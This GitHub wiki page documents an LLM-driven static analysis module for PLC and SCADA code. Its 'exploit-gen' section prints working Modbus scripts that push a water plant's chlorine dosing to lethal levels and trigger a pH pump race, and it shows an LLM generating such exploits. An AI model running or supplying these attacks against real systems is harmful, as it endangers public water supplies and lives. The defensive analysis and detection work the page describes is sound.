Skip to content

Navigation Menu

Sign in
Sign up

SAST LLM ptBR

André Henrique edited this page Jun 8, 2026 · 4 revisions

SAST / LLM Analysis

IXF includes an offline Static Application Security Testing (SAST) module powered by large language models. It analyzes PLC/RTU/SCADA source code for security vulnerabilities, unsafe setpoints, authentication gaps, hardcoded credentials, race conditions, and process-specific attack vectors — without unintentionally uploading sensitive code to external services (see sanitization section).

The SAST engine is designed specifically for industrial control system code, with domain-specific prompts that understand Ladder Diagram logic, Structured Text safety interlocks, Function Block Diagram dataflows, and IEC 61131-3 programming semantics.


Supported LLM Providers

IXF supports 5 LLM providers for SAST analysis:

Provider Model Env Variable Auth Method API URL
OpenAI gpt-4o OPENAI_API_KEY Bearer token (sk-...) https://api.openai.com/v1/chat/completions
Anthropic claude-3-5-sonnet-20241022 ANTHROPIC_API_KEY x-api-key header (sk-ant-...) https://api.anthropic.com/v1/messages
Google Gemini gemini-2.5-flash GOOGLE_AI_STUDIO_API_KEY Query parameter key=... (AIzaSy...) https://generativelanguage.googleapis.com/v1beta/models/gemini-2.5-flash:generateContent
DeepSeek deepseek-chat DEEPSEEK_API_KEY Bearer token (sk-deepseek-...) https://api.deepseek.com/v1/chat/completions
Grok (xAI) grok-2-latest XAI_API_KEY Bearer token (xai-...) https://api.x.ai/v1/chat/completions

Provider selection priority: OpenAI → Anthropic → Gemini → DeepSeek → Grok

The first configured provider (in priority order) is selected. To use a non-default provider when multiple are configured, configure only that provider's API key.


Configuring an LLM Key

Option 1: Environment Variable (Recommended)

Set the environment variable before launching IXF. The key is read at startup and never written to disk by IXF itself.

# Google Gemini (free tier available)
export GOOGLE_AI_STUDIO_API_KEY=AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
ixf
# OpenAI
export OPENAI_API_KEY=sk-svcacct-AbCdEfGhIjKlMnOpQrStUvWxYz0123456789
ixf
# Anthropic
export ANTHROPIC_API_KEY=sk-ant-api03-XXXXXXXXXXXXXXXXXXX
ixf
# DeepSeek
export DEEPSEEK_API_KEY=sk-deepseek-XXXXXXXXXXXXXXXXXXXXXXXXXX
ixf
# Grok (xAI)
export XAI_API_KEY=xai-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
ixf

Option 2: llm-key Shell Command (In-Session Only)

The llm-key command stores the key in memory only for the current session. The key is never written to disk, history, or logs.

ixf > llm-key gemini AIzaSyXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=gemini len=39
[i] Key stored in-session only. Set GOOGLE_AI_STUDIO_API_KEY to persist.
ixf > llm-key openai sk-svcacct-AbCdEfGhIjKlMnOpQrStUvWxYz0123456789
[+] LLM key configured: provider=openai len=55
ixf > llm-key anthropic sk-ant-api03-XXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=anthropic len=40
ixf > llm-key deepseek sk-deepseek-XXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=deepseek len=37
ixf > llm-key grok xai-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
[+] LLM key configured: provider=grok len=44

llm-status Full Output

ixf > llm-status
 LLM Provider Status
 ──────────────────────────────────────────────────────────────────────────
 Provider Status Model Source
 openai configured gpt-4o OPENAI_API_KEY (env)
 anthropic not configured claude-3-5-sonnet-... (set ANTHROPIC_API_KEY)
 gemini configured gemini-2.5-flash GOOGLE_AI_STUDIO_API_KEY (env)
 deepseek not configured deepseek-chat (set DEEPSEEK_API_KEY)
 grok not configured grok-2-latest (set XAI_API_KEY)
 ──────────────────────────────────────────────────────────────────────────
 Active provider: openai (gpt-4o) [selected by priority: openai > anthropic > gemini > deepseek > grok]
 [i] To use gemini instead, unset OPENAI_API_KEY or configure only gemini
 [i] Token budget: 128K tokens (applies to all providers)
 [i] Sanitization: ALWAYS applied before sending code to LLM

Running SAST Analysis

ixf > sast <path> [--mode <mode>] [--diff <other_file>]
Argument Type Required Default Description
path string yes PLC source file or project directory
--mode string no sast Analysis mode: sast, reverse, diff, exploit-gen
--diff string no Second file/directory for diff mode

Supported File Extensions

Extension Language/Format Common Usage
.st Structured Text (IEC 61131-3) Beckhoff TwinCAT, Siemens TIA Portal, CODESYS
.fbd Function Block Diagram CODESYS, Phoenix Contact, Rockwell
.ladder / .ld Ladder Diagram Rockwell Studio 5000, Allen-Bradley
.il Instruction List (IEC 61131-3) Legacy PLCs, Schneider Modicon
.sfc Sequential Function Chart Batch processes, machine sequences
.cfc Continuous Function Chart Siemens TIA Portal advanced
.xml XML-exported PLC projects CODESYS XML export, TwinCAT AML export
.aml AutomationML IEC 62424 plant topology
.py Python ICS automation scripts, OPC UA clients
.c C Embedded RTU firmware, Modbus handlers
.cpp C++ Embedded controllers, Beckhoff C++ runtime
.go Go Modern ICS tooling (FrostyGoop-style)
.js JavaScript Node-RED ICS flows, IIoT scripts
.rb Ruby Legacy ICS automation scripts
.pl Perl Legacy SCADA automation
.java Java Java-based HMI applications

Code Sanitization

Before any code is sent to the LLM, IXF applies a multi-pass sanitization pipeline. This prevents leaking sensitive operational data to cloud APIs.

Sanitization is always applied — it cannot be disabled.

All 7 Sanitization Types

Type Pattern Replacement Example Before Example After
1. IPv4 Addresses \b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b [IP_REDACTED] 192.168.1.100 [IP_REDACTED]
2. Passwords in strings password\s*[:=]\s*['"]?\w+ password: [REDACTED] password = "Passw0rd!" password: [REDACTED]
3. Usernames (user|username)\s*[:=]\s*['"]?\w+ username: [REDACTED] user = "admin" username: [REDACTED]
4. Connection strings Server=.*;Database=.* [CONN_STRING_REDACTED] Server=10.1.1.5;Database=historian [CONN_STRING_REDACTED]
5. API keys / tokens (api_key|apikey|token)\s*[:=]\s*\S+ api_key: [REDACTED] api_key = "a1b2c3d4" api_key: [REDACTED]
6. OPC UA endpoints opc\.tcp://[^\s'"]+ opc.tcp://[ENDPOINT_REDACTED] opc.tcp://10.0.0.5:4840/UA/Server opc.tcp://[ENDPOINT_REDACTED]
7. Hardcoded hashes [0-9a-fA-F]{32,} [HASH_REDACTED] MD5="d41d8cd98f00b204e9800998ecf8427e" MD5=[HASH_REDACTED]

Sanitization in Action

Before sanitization (original file):

(* Water Treatment Controller v2.1 *)
PROGRAM WaterTreatment
 VAR
 historian_ip : STRING := '192.168.10.50';
 historian_user : STRING := 'admin';
 historian_pass : STRING := 'Sup3rS3cr3t!';
 opcua_endpoint : STRING := 'opc.tcp://10.0.1.5:4840/WINCC/ServerInterface';
 db_conn : STRING := 'Server=10.0.1.10;Database=historian;User=sa;Pwd=Admin123';
 END_VAR

After sanitization (sent to LLM):

(* Water Treatment Controller v2.1 *)
PROGRAM WaterTreatment
 VAR
 historian_ip : STRING := '[IP_REDACTED]';
 historian_user : STRING := 'username: [REDACTED]';
 historian_pass : STRING := 'password: [REDACTED]';
 opcua_endpoint : STRING := 'opc.tcp://[ENDPOINT_REDACTED]';
 db_conn : STRING := '[CONN_STRING_REDACTED]';
 END_VAR

Terminal confirmation:

[*] Sanitizing code... Removed: 3 credential(s), 2 IP address(es), 1 OPC UA endpoint, 1 connection string
[*] Sending 4.2 KB to LLM (sanitized)...

Token Budget

The SAST engine respects token limits to control cost and API compatibility:

Provider Max Tokens (Request) Behavior on Exceed
OpenAI (gpt-4o) 128K Warning + automatic truncation
Anthropic (claude-3-5-sonnet) 200K Warning + automatic truncation
Gemini (gemini-2.5-flash) 1M Warning only (very large context)
DeepSeek (deepseek-chat) 64K Warning + truncation
Grok (grok-2-latest) 128K Warning + truncation

Token budget warning:

[!] Code size 145K tokens exceeds provider limit (128K for openai).
[!] Truncating to 128K tokens. Large files may receive incomplete analysis.
[i] Tip: Analyze individual files instead of the full directory.
[i] Or switch to gemini: llm-key gemini AIzaSy... (1M token limit)

Token count output:

[*] Token count: 9.7 KB ≈ 2,400 tokens (well within 128K budget)

8 Analysis Categories

SAST mode performs analysis across 8 security categories:

Category 1: Setpoint Safety Validation

Checks for missing or insufficient validation on process setpoints (temperature, pressure, flow rate, chemical dosing). A missing validation allows an attacker writing to Modbus/OPC UA registers to set physically dangerous values.

Example finding:

FINDING [SEVERITY: CRITICAL]: Unvalidated Pressure Setpoint
 Location: compressor.st, line 34
 Code: MAX_PRESSURE := MW100; (* HR[50] written directly *)
 Issue: No upper bound validation on MW100 (Modbus HR[50])
 Attack: Modbus FC16 write to HR[50] with value 65535 → catastrophic overpressure
 Physical: Gas compressor runaway, explosion risk
 Fix: MAX_PRESSURE := MIN(MW100, 150.0); (* Max 150 PSI hardware safe limit *)
 IF MAX_PRESSURE > HARDWARE_SAFE_LIMIT THEN EMERGENCY_STOP := TRUE; END_IF

Category 2: Authentication and Access Control

Checks for missing authentication on programming ports, unauthenticated SCADA endpoints, hardcoded credentials in code.

Example finding:

FINDING [SEVERITY: HIGH]: Programming Port Without Authentication
 Location: network_config.il, line 7
 Code: LD PROGRAMMING_PORT_ENABLED
 ST TRUE (* No authentication check *)
 Issue: PLC programming interface enabled without requiring authentication
 Attack: T0843 (Program Download) — any host can download modified PLC program
 Fix: Add authentication check: IF ENGINEER_AUTHENTICATED THEN PROG_ENABLE := TRUE

Category 3: Logic Race Conditions

Checks for timing-dependent logic that can lead to unsafe states. Common in ladder diagram programs with shared variables read across multiple scan cycles.

Example finding:

FINDING [SEVERITY: HIGH]: Race Condition in Chemical Dosing
 Location: chemical_dosing.st, lines 45-52
 Code: (* Cycle 1: *) IF pH < 6.0 THEN ACID_PUMP := TRUE; END_IF
 (* Cycle 2: *) IF pH > 8.0 THEN BASE_PUMP := TRUE; END_IF
 Issue: pH sensor read happens asynchronously between cycles.
 Both pumps can be TRUE simultaneously during rapid pH oscillation.
 Physical: pH < 2 or pH > 12 — severely corrosive water — infrastructure damage
 Fix: Add mutex: IF ACID_PUMP THEN BASE_PUMP := FALSE; END_IF
 Or use atomic pH read with single decision point per scan

Category 4: Missing Safety Interlocks

Checks for missing hardware/software interlocks that should prevent dangerous states. Often found when safety logic is commented out during maintenance and never restored.

Example finding:

FINDING [SEVERITY: CRITICAL]: Safety Interlock Disabled
 Location: reactor.st, line 88
 Code: (* TEMP_INTERLOCK := TRUE; *) (* TODO: re-enable after maintenance *)
 HEATER_ENABLE := TRUE; (* Heater can run without temperature limit *)
 Issue: Temperature interlock commented out — heater runs without safety limit
 Physical: Thermal runaway → reactor vessel overpressure → catastrophic failure
 Fix: Restore: TEMP_INTERLOCK := (REACTOR_TEMP < MAX_SAFE_TEMP);
 HEATER_ENABLE := HEATER_REQUEST AND TEMP_INTERLOCK;
 Add CI check to prevent committed commented-out safety code

Category 5: Hardcoded Credentials and Secrets

Identifies hardcoded passwords, API keys, connection strings, and authentication tokens in PLC code. (Reported in sanitized form — actual values not included in report.)

Example finding:

FINDING [SEVERITY: MEDIUM]: Hardcoded Database Credentials
 Location: historian_connector.st, line 12
 Code: [CONN_STRING_REDACTED] (* Original had hardcoded username and password *)
 Issue: Database connection uses hardcoded credentials in PLC source code
 Risk: Version control exposure; insider threat; supply chain compromise
 Fix: Use credential vault (CyberArk, HashiCorp Vault, or environment variables)
 Implement certificate-based authentication for historian connection

Category 6: Network Exposure and Protocol Security

Reviews network configuration code for insecure protocol usage, missing TLS, exposed management ports, unauthenticated remote access.

Example finding:

FINDING [SEVERITY: HIGH]: Unencrypted OPC UA Session
 Location: opcua_client.py, line 23
 Code: client = Client("opc.tcp://[ENDPOINT_REDACTED]")
 client.set_security_policy(SecurityPolicyType.None_) # No security
 Issue: OPC UA session with SecurityMode=None — all data in plaintext
 Attack: T0830 (Adversary-in-the-Middle) — intercept tag reads/writes
 Fix: Use SecurityPolicy.Basic256Sha256 with certificate-based authentication:
 await client.set_security(
 SecurityPolicyType.Basic256Sha256,
 certificate_path, private_key_path
 )

Category 7: Physical Process Impact Assessment

Analyzes the physical implications of identified vulnerabilities. Provides context on real-world consequences specific to the process type detected (power generation, water treatment, chemical processing, etc.).

Example finding:

FINDING [CONTEXT: CATASTROPHIC POTENTIAL]: Process Type — Water Treatment
 Location: water_treatment.st (full program analysis)
 Physical Process: Drinking water treatment for municipal supply
 Identified Attack Surface:
 - Chlorine dosing setpoint: unvalidated (CRITICAL — can cause lethal dosing)
 - pH neutralization: race condition (HIGH — corrosive water potential)
 - Turbidity monitoring: sensor bypass possible (MEDIUM — pathogen passage)
 Aggregate Physical Impact Assessment:
 Exploiting CRITICAL + HIGH findings together:
 → Lethally chlorinated water delivered to population (>2000x WHO limit)
 → pH excursion makes chlorine ineffective simultaneously
 → Mass casualty potential if delivered to distribution network
 MITRE: T0836, T0831, T0878, T0837 (Loss of Safety)

Category 8: Code Quality and Maintainability Security

Identifies patterns that make security vulnerabilities more likely: dead code, TODO/FIXME comments related to security, magic numbers, missing comments on safety-critical blocks.

Example finding:

FINDING [SEVERITY: LOW]: Security-Relevant TODO Comment
 Location: safety_plc.st, line 156
 Code: (* TODO: add auth check before EMERGENCY_OVERRIDE *)
 IF EMERGENCY_OVERRIDE THEN
 INHIBIT_ALL_ALARMS := TRUE; (* Suppresses all safety alarms *)
 SAFETY_SIL2_BYPASS := TRUE;
 END_IF
 Issue: Safety bypass without authentication check — acknowledged as missing in code
 Risk: Any operator (or attacker) can trigger emergency override without MFA
 Fix: Add authentication: IF EMERGENCY_OVERRIDE AND SUPERVISOR_AUTH THEN ...

Analysis Modes — Complete Reference

--mode sast (Default) — Full Vulnerability Analysis

ixf > sast /opt/plc_projects/water_treatment/ --mode sast
[*] Target: /opt/plc_projects/water_treatment/ (5 files, 245 lines)
[*] Languages: ST (3 files, 187 lines), FBD (1 file, 38 lines), IL (1 file, 20 lines)
[*] Provider: gemini (gemini-2.5-flash)
[*] Sanitizing... Removed: 2 credential(s), 1 public IP
[*] Token count: 9.7 KB ≈ 2,400 tokens
[*] Sending sanitized code to LLM...
[*] Analysis complete (elapsed: 8.2s)
 SAST VULNERABILITY ANALYSIS REPORT
 ═══════════════════════════════════════════════════════════════════════
 Target: /opt/plc_projects/water_treatment/
 Files: 5 | Lines: 245
 Provider: gemini-2.5-flash
 Date: 2026年06月01日 20:15:43
 ┌─────────────────────────────────────────────────────────────────────┐
 │ FINDINGS SUMMARY: 1 CRITICAL | 2 HIGH | 1 MEDIUM | 1 LOW | 1 INFO │
 └─────────────────────────────────────────────────────────────────────┘
 ════════════════════════════════════════════════════════════════════════
 FINDING 1 [SEVERITY: CRITICAL]
 ════════════════════════════════════════════════════════════════════════
 Title: Unvalidated Chlorine Dosing Setpoint
 Location: water_treatment.st, line 48
 Category: Setpoint Safety Validation (Category 1)
 Type: Input Validation Flaw / Unsafe Setpoint
 Code:
 SP_CHLORINE_HIGH := 4000.0; (* TODO: validate this value *)
 DOSE_FACTOR := MW_DOSE_FACTOR; (* HR[200] — no range check *)
 Attack Vector: Modbus FC16 write to HR[200] (DOSE_FACTOR) — no authentication required
 Physical Impact: Setting DOSE_FACTOR to max (65535) → ~4000 mg/L chlorine
 WHO safe limit: 2.0 mg/L | Lethal threshold (infants): ~5 mg/L
 CATASTROPHIC potential — mass casualty if distributed
 MITRE ATT&CK for ICS: T0836 (Modify Parameter), T0878 (Alarm Suppression)
 Exploit PoC: modbus_write_register(unit=1, address=200, value=65535)
 Remediation:
 DOSE_FACTOR := MW_DOSE_FACTOR;
 IF DOSE_FACTOR > 2.0 THEN
 DOSE_FACTOR := 2.0;
 ALARM_SETPOINT_OVERRIDE := TRUE;
 LOG('DOSE_FACTOR clamped: attempted value ', MW_DOSE_FACTOR);
 END_IF
 (* Add hardware interlock: analog output ≤ 2.0 enforced in field instrument *)
 References: WHO Water Quality Guidelines (2022); ICS-CERT Alert ICS-ALERT-21-209-01
 Residual Risk: Hardware interlock recommended even after software fix
 ════════════════════════════════════════════════════════════════════════
 FINDING 2 [SEVERITY: HIGH]
 ════════════════════════════════════════════════════════════════════════
 Title: Race Condition in pH Dosing Logic
 Location: water_treatment.st, lines 65-71
 Category: Logic Race Condition (Category 3)
 Code:
 IF pH_SENSOR < 6.0 THEN ACID_PUMP := TRUE; END_IF
 IF pH_SENSOR > 8.0 THEN BASE_PUMP := TRUE; END_IF
 Issue: pH sensor value can change between the two IF evaluations in a single
 scan cycle (interrupt-driven ADC update). Both pumps active simultaneously.
 Physical: pH <2 or pH >12 — severely corrosive water
 MITRE: T0831 (Manipulation of Control)
 Remediation: Cache sensor at scan start; add mutual exclusion
 pH_CACHED := pH_SENSOR;
 IF pH_CACHED < 6.0 THEN ACID_PUMP := TRUE; BASE_PUMP := FALSE;
 ELSIF pH_CACHED > 8.0 THEN BASE_PUMP := TRUE; ACID_PUMP := FALSE;
 ELSE ACID_PUMP := FALSE; BASE_PUMP := FALSE;
 END_IF
 ════════════════════════════════════════════════════════════════════════
 FINDING 3 [SEVERITY: HIGH]
 ════════════════════════════════════════════════════════════════════════
 Title: Unauthenticated PLC Programming Interface
 Location: network_config.st, line 12
 Category: Authentication and Access Control (Category 2)
 Code: PROGRAMMING_PORT := 502; (* dev mode — auth not implemented *)
 Issue: Any host on the OT network can download a modified PLC program
 MITRE: T0843 (Program Download)
 Remediation: Disable port in production; require engineering station certificate
 ════════════════════════════════════════════════════════════════════════
 FINDING 4 [SEVERITY: MEDIUM]
 ════════════════════════════════════════════════════════════════════════
 Title: Hardcoded Database Credentials
 Location: historian_connector.st, line 8
 Category: Hardcoded Credentials (Category 5)
 Code: [CONN_STRING_REDACTED] (sanitized — original contained credentials)
 Issue: Historian connection string with hardcoded credentials
 Remediation: Use vault or environment-based credential injection
 ════════════════════════════════════════════════════════════════════════
 FINDING 5 [SEVERITY: LOW]
 ════════════════════════════════════════════════════════════════════════
 Title: Missing Watchdog Timer
 Location: main.st (entire program)
 Category: Missing Safety Interlocks (Category 4)
 Issue: No watchdog timer configured — PLC could hang indefinitely
 Remediation: WDT_Enable := TRUE; WDT_Timeout := 500; (* 500ms scan watchdog *)
 ════════════════════════════════════════════════════════════════════════
 FINDING 6 [INFO: Physical Process Context]
 ════════════════════════════════════════════════════════════════════════
 Title: Process Type Identified — Municipal Water Treatment
 Assessment: High-value target. All findings above have elevated real-world consequence
 compared to equivalent vulnerabilities in non-critical processes.
 Aggregate exploitation of CRITICAL + HIGH findings creates mass casualty potential.
 ═══════════════════════════════════════════════════════════════════════
 MITRE TECHNIQUES IDENTIFIED: T0836, T0831, T0843, T0878, T0837
 OVERALL RISK: CRITICAL
 ═══════════════════════════════════════════════════════════════════════
[+] SAST report saved: .tmp/sast_results/water_treatment_20260601_201543.md

--mode reverse — Reverse Engineering Analysis

Analyzes binary or opaque compiled PLC firmware to extract logic, identify behavior patterns, and flag security concerns.

ixf > sast /opt/plc_dumps/plc_firmware_v3.2.bin --mode reverse
[*] Target: /opt/plc_dumps/plc_firmware_v3.2.bin (binary, 847 KB)
[*] Provider: gemini (gemini-2.5-flash)
[*] Mode: reverse — LLM-assisted binary/firmware analysis
[*] Extracting readable strings and structure markers...
[*] Sanitizing extracted content...
[*] Sending to LLM for reverse analysis...
 REVERSE ENGINEERING ANALYSIS REPORT
 ═══════════════════════════════════════════════════════════════
 Target: plc_firmware_v3.2.bin (847 KB)
 Mode: Reverse Engineering
 ─────────────────────────────────────────────────────────────
 IDENTIFIED SECTIONS:
 ─────────────────────────────────────────────────────────────
 Offset 0x0000-0x03FF : Boot header (VxWorks 6.9 signature)
 Offset 0x0400-0x1FFF : Configuration strings
 Offset 0x2000-0x8FFF : Runtime code (ARM Thumb-2 instructions)
 Offset 0x9000-0xFFFF : Data/constant section
 ─────────────────────────────────────────────────────────────
 EXTRACTED INDICATORS:
 ─────────────────────────────────────────────────────────────
 String match: "password" (offset 0x1A44) — potential hardcoded credential
 String match: "192.168.[IP_REDACTED]" (3 occurrences) — hardcoded IPs found
 String match: "ADMIN_OVERRIDE=1" — undocumented override flag
 String match: "DEBUG_MODBUS_PASSTHROUGH" — debug mode not removed from production FW
 Function name (symbol table): "auth_bypass_legacy()" — suspicious function name
 Modbus handler: FC16 write — no bounds checking on value range (assembly analysis)
 ─────────────────────────────────────────────────────────────
 SECURITY FINDINGS:
 ─────────────────────────────────────────────────────────────
 FINDING [SEVERITY: CRITICAL]: Undocumented Admin Override Flag
 Evidence: "ADMIN_OVERRIDE=1" in configuration section
 Risk: May allow unauthenticated administrative access
 Action: Request source code review from vendor; apply vendor patch
 FINDING [SEVERITY: HIGH]: Debug Mode Not Removed
 Evidence: "DEBUG_MODBUS_PASSTHROUGH" function present
 Risk: Debug Modbus passthrough may bypass authentication in production
 Action: Contact vendor for non-debug firmware build
 FINDING [SEVERITY: HIGH]: Suspicious Function: auth_bypass_legacy()
 Evidence: Symbol table entry; called from authentication handler
 Risk: Legacy authentication bypass potentially left in production code
 Action: Penetration test authentication flow; request source from vendor
 FINDING [SEVERITY: MEDIUM]: Hardcoded IP Addresses (3 occurrences)
 Evidence: IP addresses embedded in firmware (redacted in this report)
 Risk: Hardcoded IPs complicate network reconfiguration; may be C2 addresses
 Action: Compare with known legitimate management IPs; verify with vendor

--mode diff — Code Change Detection

Compares two versions of PLC code to detect unauthorized modifications — a key use case for detecting supply chain attacks, insider threats, and Stuxnet/Triton-style targeted modifications.

ixf > sast /backup/plc_v1.st --mode diff --diff /current/plc_v2.st
[*] Diff analysis: /backup/plc_v1.st vs /current/plc_v2.st
[*] Provider: gemini
[*] Computing structural diff...
[*] Sending diff + context to LLM...
 PLC CODE CHANGE SECURITY ANALYSIS
 ═══════════════════════════════════════════════════════════════
 File A (reference): /backup/plc_v1.st (saved: 2026年05月01日)
 File B (current): /current/plc_v2.st (modified: 2026年05月28日)
 Total changes: 4 sections modified, 2 sections added, 0 deleted
 ─────────────────────────────────────────────────────────────
 CHANGE 1: AUTHORIZED — Routine maintenance
 ─────────────────────────────────────────────────────────────
 Location: Lines 12-15 (header comment)
 Change: Version comment updated from "v1.0" to "v1.1"
 Assessment: BENIGN — version tracking only
 ─────────────────────────────────────────────────────────────
 CHANGE 2: SUSPICIOUS — Requires investigation
 ─────────────────────────────────────────────────────────────
 Location: Lines 47-53 (safety interlock block)
 Version A (before):
 IF PRESSURE > MAX_PRESSURE THEN
 SAFETY_VALVE := TRUE; (* Opens relief valve *)
 EMERGENCY_STOP := TRUE; (* Stops process *)
 ALARM := TRUE; (* Alerts operator *)
 END_IF
 Version B (after — CURRENT):
 IF PRESSURE > MAX_PRESSURE THEN
 (* SAFETY_VALVE := TRUE; *) (* — commented out 2026年05月28日 *)
 FAKE_PRESSURE := 45.0; (* spoofed to hide overpressure *)
 EMERGENCY_STOP := FALSE; (* stop prevented *)
 ALARM := FALSE; (* alarm silenced *)
 END_IF
 Assessment: [SEVERITY: CRITICAL] UNAUTHORIZED MODIFICATION DETECTED
 Analysis: Safety valve disabled. Pressure reading spoofed to 45 PSI
 (hiding real overpressure). Emergency stop prevented.
 Alarm suppressed. Classic Triton/Industroyer2-style safety system bypass.
 Physical consequence: uncontrolled overpressure → catastrophic failure.
 MITRE: T0838 (Modify Alarm Settings), T0836 (Modify Parameter),
 T0829 (Loss of Protection), T0837 (Loss of Safety)
 Action: IMMEDIATE ROLLBACK to version A. Investigate access logs for 2026年05月28日.
 Preserve evidence. Notify CISO and ICS-CERT if critical infrastructure.
 ─────────────────────────────────────────────────────────────
 CHANGE 3: UNAUTHORIZED — Command and control addition
 ─────────────────────────────────────────────────────────────
 Location: Lines 89-95 (new block added)
 Version A: (section did not exist)
 Version B:
 (* Maintenance backdoor — remove before production *)
 IF HIDDEN_TRIGGER = 0xDEAD THEN
 COIL_REMOTE_ENABLE := TRUE; (* allows remote coil control *)
 MODBUS_AUTH_BYPASS := TRUE; (* disables Modbus auth *)
 END_IF
 Assessment: [SEVERITY: CRITICAL] BACKDOOR DETECTED
 Analysis: Magic value (0xDEAD) triggers remote control bypass.
 Comment "remove before production" was not removed — deliberate.
 MITRE: T0859 (Valid Accounts bypass), T0836
 ─────────────────────────────────────────────────────────────
 CHANGE 4: BENIGN — Parameter update
 ─────────────────────────────────────────────────────────────
 Location: Lines 34-35
 Change: PUMP_SPEED_MAX from 3000 to 3100 RPM
 Assessment: Likely authorized maintenance change — verify with change log
 ─────────────────────────────────────────────────────────────
 OVERALL ASSESSMENT: CRITICAL — 2 unauthorized modifications detected
 ─────────────────────────────────────────────────────────────
 Action: Immediate rollback to /backup/plc_v1.st
 Preserve both files for forensic analysis
 Investigate access control to PLC programming station
 Report to CISO and consider ICS-CERT notification
[+] Diff report saved: .tmp/sast_results/plc_diff_20260601_202800.md

--mode exploit-gen — Exploit Generation

Generates proof-of-concept exploit code based on SAST findings. For authorized penetration testing.

ixf > sast /opt/plc_projects/water_treatment/water_treatment.st --mode exploit-gen
[*] Analyzing for exploit generation potential...
[*] Provider: gemini
[*] Running SAST pass first...
[*] Generating PoC exploit for top findings...
 EXPLOIT GENERATION REPORT
 ═══════════════════════════════════════════════════════════════
 Source: water_treatment.st
 Findings used: CRITICAL (Chlorine Dosing Setpoint), HIGH (Race Condition)
 ════════════════════════════════════════════════════════════════
 EXPLOIT 1 — CRITICAL Finding: Chlorine Dosing Attack
 ════════════════════════════════════════════════════════════════
 Description: Writes maximum dosing value to HR[200] (DOSE_FACTOR) via unauthenticated
 Modbus TCP to cause catastrophic chlorine overdose
 Language: Python (pymodbus)
 Impact: CATASTROPHIC — mass casualty potential
 Generated PoC:
 ─────────────────────────────────────────────────────────────────
 #!/usr/bin/env python3
 """
 Water Treatment Chlorine Dosing PoC
 Finding: Unvalidated setpoint HR[200] (DOSE_FACTOR)
 MITRE: T0836 (Modify Parameter)
 AUTHORIZED PENETRATION TESTING ONLY
 """
 from pymodbus.client import ModbusTcpClient
 import sys
 TARGET = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100"
 PORT = 502
 UNIT_ID = 1
 DOSE_REGISTER = 200 # HR[200] = DOSE_FACTOR (maps to SP_CHLORINE_HIGH)
 ATTACK_VALUE = 65535 # Maximum register value → ~4000 mg/L
 print(f"[*] Connecting to {TARGET}:{PORT}...")
 client = ModbusTcpClient(TARGET, port=PORT)
 if not client.connect():
 print(f"[-] Connection failed")
 sys.exit(1)
 print(f"[+] Connected")
 # Read original value first (for restoration)
 original = client.read_holding_registers(DOSE_REGISTER, count=1, unit=UNIT_ID)
 if not original.isError():
 print(f"[i] Original DOSE_FACTOR: {original.registers[0]}")
 # Write attack value
 result = client.write_registers(DOSE_REGISTER, [ATTACK_VALUE], unit=UNIT_ID)
 if not result.isError():
 print(f"[+] DOSE_FACTOR set to {ATTACK_VALUE} on {TARGET}:{PORT}")
 print(f"[!] Estimated chlorine dose: ~{ATTACK_VALUE * 0.061:.1f} mg/L")
 print(f"[!] WHO limit: 2.0 mg/L | Lethal: ~5 mg/L for infants")
 else:
 print(f"[-] Write failed: {result}")
 # Restore original
 input("[*] Press Enter to restore original value (ALWAYS restore after testing)...")
 if not original.isError():
 client.write_registers(DOSE_REGISTER, [original.registers[0]], unit=UNIT_ID)
 print(f"[+] Original value restored: {original.registers[0]}")
 client.close()
 ─────────────────────────────────────────────────────────────────
 ════════════════════════════════════════════════════════════════
 EXPLOIT 2 — HIGH Finding: pH Race Condition Trigger
 ════════════════════════════════════════════════════════════════
 Description: Rapidly toggles pH sensor readings to trigger both acid and base pump
 simultaneously during race condition window
 Language: Python (pymodbus)
 Impact: HIGH — corrosive water production
 Generated PoC:
 ─────────────────────────────────────────────────────────────────
 #!/usr/bin/env python3
 """Rapid pH toggling to trigger race condition"""
 from pymodbus.client import ModbusTcpClient
 import time
 TARGET = "192.168.1.100"
 PORT = 502
 PH_REGISTER = 150 # HR[150] = pH sensor input register (analog input)
 client = ModbusTcpClient(TARGET, port=PORT)
 client.connect()
 print("[*] Starting pH toggle attack (race condition exploitation)...")
 for i in range(20):
 # Toggle between acid-triggering and base-triggering pH values
 # within a single PLC scan cycle timeframe
 client.write_registers(150, [500], unit=1) # pH 5.0 → triggers ACID_PUMP
 time.sleep(0.005) # 5ms — within scan cycle
 client.write_registers(150, [850], unit=1) # pH 8.5 → triggers BASE_PUMP
 time.sleep(0.005)
 print(f"[*] Iteration {i+1}/20 — both pumps may be active simultaneously")
 client.close()
 ─────────────────────────────────────────────────────────────────
 [!] All exploit PoCs are for authorized penetration testing only.
 [i] MITRE: T0836, T0831 | Physical Impact: CATASTROPHIC / HIGH
 [+] Exploit report saved: .tmp/sast_results/water_treatment_exploits_20260601.md

Finding Format Template

Every SAST finding includes the following fields:

FINDING [SEVERITY: <CRITICAL|HIGH|MEDIUM|LOW|INFO>]
 Title: Short, descriptive finding name
 Location: Filename, line number(s)
 Category: One of 8 analysis categories
 Type: Specific vulnerability type
 Code: Relevant code snippet (sanitized if credentials present)
 Issue: Explanation of why this is a security problem
 Attack Vector: How an attacker would exploit this (protocol, register, method)
 Physical Impact: Real-world consequence to the controlled process
 MITRE ATT&CK for ICS: Technique IDs and names
 Exploit PoC: Short exploit demonstration (for CRITICAL and HIGH only)
 Remediation: Specific, actionable code fix
 References: Standards, CVE references, vendor advisories
 Residual Risk: Any remaining risk after remediation

Running SAST from the Python API

import asyncio
from industrialxpl.core.sast.llm_provider import LLMProvider
from industrialxpl.core.sast.plc_parsers import load_plc_files, sanitize_code
from industrialxpl.core.sast.prompts import build_sast_prompt
async def run_sast_analysis(file_path: str, provider: str = "gemini") -> str:
 """Run SAST analysis on a PLC source file."""
 # Load and sanitize
 code = load_plc_files(file_path)
 sanitized, redactions = sanitize_code(code)
 print(f"[*] Sanitized: {redactions['credentials']} credentials, {redactions['ips']} IPs")
 # Build prompt
 prompt = build_sast_prompt(sanitized, mode="sast")
 # Get LLM provider
 llm = LLMProvider.get_active()
 if not llm:
 raise ValueError("No LLM provider configured. Set API key via env var.")
